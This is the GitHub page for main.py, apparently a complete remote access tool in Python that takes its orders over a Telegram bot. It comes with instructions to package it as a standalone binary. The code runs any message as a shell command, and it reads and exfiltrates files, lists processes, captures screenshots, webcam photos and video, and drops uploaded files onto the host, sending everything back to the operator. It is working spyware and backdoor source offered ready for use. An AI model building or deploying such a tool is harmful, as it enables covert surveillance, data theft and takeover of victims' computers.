-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathmain.py
235 lines (183 loc) · 6.34 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#!/usr/bin/env python3
'''
@author: github.com/Tomiwa-Ot
Compile to standalone binary for easier deployment using:
---------------------------------------------------------
pip install -U pyinstaller
pyinstaller main.py
'''
import cv2
import time
import telebot
import platform
import pyautogui
import subprocess
# Replace with Telegram bot API key
BOT_API_KEY = ""
# Replace with your telegram user id
telegram_user_id = 0
bot = telebot.TeleBot(BOT_API_KEY)
# Verify commands are coming from registered telegram user
def verify_telegram_id(id):
return telegram_user_id == id
# Execute system commands
def execute_system_command(cmd):
max_message_length = 2048
output = subprocess.getstatusoutput(cmd)
# Shorten response if greater than 4096 characters
if len(output[1]) > max_message_length:
return str(output[1][:max_message_length])
return str(output[1])
# Start bot
@bot.message_handler(commands=['start'])
def begin(message):
if not verify_telegram_id(message.from_user.id):
return
hostname = execute_system_command("hostname")
current_user = execute_system_command("whoami")
response = f"Running as: {hostname}/{current_user}"
bot.reply_to(message, response)
# View contents of a file
@bot.message_handler(commands=['viewFile'])
def view_file(message):
if not verify_telegram_id(message.from_user.id):
return
if len(message.text.split(' ')) != 2:
return
file_path = message.text.split(' ')[1]
result = ""
if platform.system() == "Windows":
result = execute_system_command(f"type {file_path}")
else:
result = execute_system_command(f"cat {file_path}")
bot.reply_to(message, result)
# List contents of a directory
@bot.message_handler(commands=['listDir'])
def list_directory(message):
if not verify_telegram_id(message.from_user.id):
return
if len(message.text.split(' ')) != 2:
return
file_path = message.text.split(' ')[1]
result = ""
if platform.system() == "Windows":
result = execute_system_command(f"dir {file_path}")
else:
result = execute_system_command(f"ls -lah {file_path}")
bot.reply_to(message, result)
# Download a file
@bot.message_handler(commands=['downloadFile'])
def download_file(message):
if not verify_telegram_id(message.from_user.id):
return
if len(message.text.split(' ')) != 2:
return
file_path = message.text.split(' ')[1]
try:
with open(file_path, "rb") as file:
bot.send_document(message.from_user.id, file)
bot.reply_to(message, "[+] File downloaded")
except:
bot.reply_to(message, "[!] Unsuccessful")
# List running services
@bot.message_handler(commands=['services'])
def running_services(message):
if not verify_telegram_id(message.from_user.id):
return
result = ""
if platform.system() == "Windows":
result = execute_system_command("tasklist")
else:
result = execute_system_command("ps aux")
bot.reply_to(message, result)
# Take screenshot of system
@bot.message_handler(commands=['screenshot'])
def take_screenshot(message):
if not verify_telegram_id(message.from_user.id):
return
try:
screenshot = pyautogui.screenshot()
# Save screenshot using current timestamp
timestamp = int(time.time())
screenshot.save(f"{timestamp}.png")
with open(f"{timestamp}.png", "rb") as image:
bot.send_photo(message.from_user.id, image)
bot.reply_to(message, "[+] Image downloaded")
except:
bot.reply_to(message, "[!] Unsuccessful")
# Take a picture using webcam
@bot.message_handler(commands=['webcam'])
def webcam(message):
if not verify_telegram_id(message.from_user.id):
return
try:
# Open webcam (camera index 0)
cap = cv2.VideoCapture(0)
# Capture a single frame from webcam
ret, frame = cap.read()
if ret:
# Save capture
timestamp = int(time.time())
cv2.imwrite(f"{timestamp}.png", frame)
with open(f"{timestamp}.png", "rb") as image:
bot.send_photo(message.from_user.id, image)
cap.release()
except:
bot.reply_to(message, "[!] Unsuccessful")
# Record video
@bot.message_handler(commands=['video'])
def record_video(message):
if not verify_telegram_id(message.from_user.id):
return
if len(message.text.split(' ')) != 2:
return
try:
# Video duration
duration = int(message.text.split(' ')[1])
cap = cv2.VideoCapture(0)
# Create a videowriter object for saving video
fourcc = cv2.VideoWriter_fourcc(*'XVID')
timestamp = int(time.time())
out = cv2.VideoWriter(f"{timestamp}.avi", fourcc, 20.0, (640, 480))
start_time = time.time()
while (time.time() - start_time) < duration:
ret, frame = cap.read()
if not ret:
break
out.write(frame)
# Release videowriter and webcam
out.release()
cap.release()
# Upload to telegram
with open(f"{timestamp}.avi", "rb") as video:
bot.send_video(message.from_user.id, video)
except:
bot.reply_to(message, "[!] Unsuccessful")
# Handle document uploads
@bot.message_handler(content_types=['document'])
def handle_document_upload(message):
if not verify_telegram_id(message.from_user.id):
return
try:
if message.document:
# Get file id and name
file_id = message.document.file_id
file_name = message.document.file_name
# Download file
file_info = bot.get_file(file_id)
downloaded_file = bot.download_file(file_info.file_path)
with open(f"./{file_name}", "wb") as file:
file.write(downloaded_file)
bot.reply_to(message, "[+] Upload successful")
except:
bot.reply_to(message, "[!] Unsuccessful")
# Handle any command
@bot.message_handler()
def handle_any_command(message):
if not verify_telegram_id(message.from_user.id):
return
if message.text.startswith("/start"):
return
response = execute_system_command(message.text)
bot.reply_to(message, response)
bot.infinity_polling()